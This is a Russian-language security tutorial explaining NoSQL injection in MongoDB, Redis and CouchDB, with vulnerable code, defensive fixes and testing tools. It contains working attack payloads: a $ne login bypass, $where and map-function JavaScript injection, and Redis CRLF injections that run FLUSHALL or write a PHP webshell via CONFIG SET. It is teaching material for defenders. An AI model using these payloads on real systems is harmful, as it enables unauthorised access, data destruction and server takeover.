NoSQL Injection: MongoDB, Redis и CouchDB под прицелом
Привет, друг!
NoSQL базы данных стали мейнстримом, но многие разрабы до сих пор думают, что раз нет SQL — значит, нет и SQL Injection. Ошибочка! NoSQL Injection — это реальная угроза, и она часто опаснее классических SQLi. Давай разберём, как ломаются три популярных NoSQL базы: MongoDB, Redis и CouchDB.
MongoDB: Когда JSON становится оружием
MongoDB использует JavaScript-подобный синтаксис для запросов, и именно здесь кроется главная засада. Большинство уязвимостей возникает из-за прямой подстановки пользовательского ввода в запросы.
Классический пример уязвимого кода:
|
1 2 3 4 5 6 7 8 |
// Node.js + Express app.post('/login', async (req, res) => { const user = await db.collection('users').findOne({ username: req.body.username, password: req.body.password }); if (user) res.send('Logged in!'); }); |
Выглядит безобидно, но если отправить JSON вместо строки:
|
1 2 3 4 |
{ "username": {"$ne": null}, "password": {"$ne": null} } |
Бац! Ты авторизовался, обойдя проверку пароля. Оператор $ne (not equal) всегда вернёт первого пользователя, у которого username и password не равны null — то есть почти любого.
Более продвинутые техники:
- JavaScript Injection через
$where:
|
1 2 3 4 5 6 7 8 |
// Уязвимый код db.collection('users').find({ $where: `this.username == '${req.body.username}'` }); // Эксплойт username: "admin' || '1'=='1" // Результат: this.username == 'admin' || '1'=='1' → всегда true |
Regex DoS через $regex:
|
1 2 3 4 |
{ "username": {"$regex": "^admin.*"}, "password": {"$regex": ".*"} } |
Можно перебирать пароль символ за символом, анализируя время ответа.
Защита:
- Всегда валидируй типы данных
- Используй параметризованные запросы
- Отключай
$whereв продакшене - Используй схемы валидации (Mongoose, Joi)
|
1 2 3 4 |
// Безопасный код const username = String(req.body.username); const password = String(req.body.password); const user = await db.collection('users').findOne({ username, password }); |
Redis: Когда кеш превращается в backdoor
Redis — это in-memory база, которая часто используется для кеширования и сессий. Основная проблема — команды Redis передаются как обычные строки, и если ты строишь их конкатенацией — ты уязвим.
Уязвимый пример:
|
1 2 3 4 5 6 7 |
# Python + redis-py import redis r = redis.Redis() user_id = request.form['user_id'] key = f"user:{user_id}:profile" profile = r.get(key) |
Если user_id содержит символы новой строки, можно инжектить дополнительные команды:
|
1 |
user_id: "1\r\nFLUSHALL\r\n" |
Это выполнит команду FLUSHALL, которая удалит ВСЕ данные из Redis. Game over.
Другие векторы атак:
- Config overwrite через
CONFIG SET:
|
1 2 |
user_id: "1\r\nCONFIG SET dir /var/www/html\r\nCONFIG SET dbfilename shell.php\r\nSAVE\r\n" |
Сохраняет базу как PHP файл на диске → webshell.
- Lua injection (если используется
EVAL):
|
1 2 3 4 5 |
-- Уязвимый код EVAL "return redis.call('GET', KEYS[1])" 1 "user:${user_id}" -- Эксплойт user_id: "1') redis.call('FLUSHALL') --" |
Защита:
- Никогда не конкатенируй команды
- Используй параметризованные методы библиотек
- Настрой
rename-commandдля опасных команд в redis.conf - Используй ACL (Redis 6+) для ограничения доступа
|
1 2 3 4 |
# Безопасный код user_id = str(request.form['user_id']).replace('\r', '').replace('\n', '') key = f"user:{user_id}:profile" profile = r.get(key) |
CouchDB: HTTP API как слабое звено
CouchDB работает через HTTP REST API и использует JSON для запросов. Основная проблема — MapReduce функции и view queries, которые выполняют JavaScript на сервере.
Уязвимости в MapReduce:
|
1 2 3 4 5 6 7 8 |
// Уязвимый view { "map": `function(doc) { if(doc.username == '${username}') { emit(doc._id, doc); } }` } |
Если username не санитизирован:
|
1 |
username: "admin') { emit(null, this.db); } if('1'=='1" |
Это позволяет выполнить произвольный JS код и, например, прочитать всю базу.
HTTP Parameter Pollution:
CouchDB парсит query-параметры, и можно использовать несколько параметров с одинаковым именем:
|
1 |
GET /db/_all_docs?startkey="a"&startkey="z"&limit=1000 |
В зависимости от реализации, второй параметр может перезаписать первый, обходя логику фильтрации.
Защита:
- Используй design documents с предопределёнными views
- Валидируй и санитизируй все входные данные
- Используй CouchDB Security Object для контроля доступа
- Отключай динамическое создание views в продакшене
|
1 2 3 4 5 |
// Безопасный код с готовым view const result = await db.view('users', 'by_username', { key: username, include_docs: true }); |
Универсальные принципы защиты
Вне зависимости от базы данных:
- Whitelist валидация — проверяй не только содержимое, но и тип данных
- Принцип наименьших привилегий — база не должна иметь права на admin команды
- Мониторинг — логируй подозрительные запросы (множественные операторы, regex, специальные символы)
- WAF — используй Web Application Firewall для фильтрации подозрительных паттернов
- Rate limiting — защита от автоматических атак типа regex DoS
Инструменты для тестирования
- NoSQLMap — автоматический сканер для MongoDB и CouchDB
- nosqli — набор payloads для тестирования различных NoSQL баз
- Burp Suite с плагином NoSQL Scanner
- Custom scripts — для Redis лучше писать свои тесты, так как универсальных инструментов мало
Заключение
NoSQL Injection — это не миф, а реальность. Базы без SQL не означают базы без уязвимостей. Главное правило — никогда не доверяй пользовательскому вводу, всегда валидируй типы данных и используй безопасные методы библиотек. И помни: если можешь построить запрос конкатенацией строк — значит, можешь и взломать систему этим же способом.

На этом все. Всем хорошего дня!
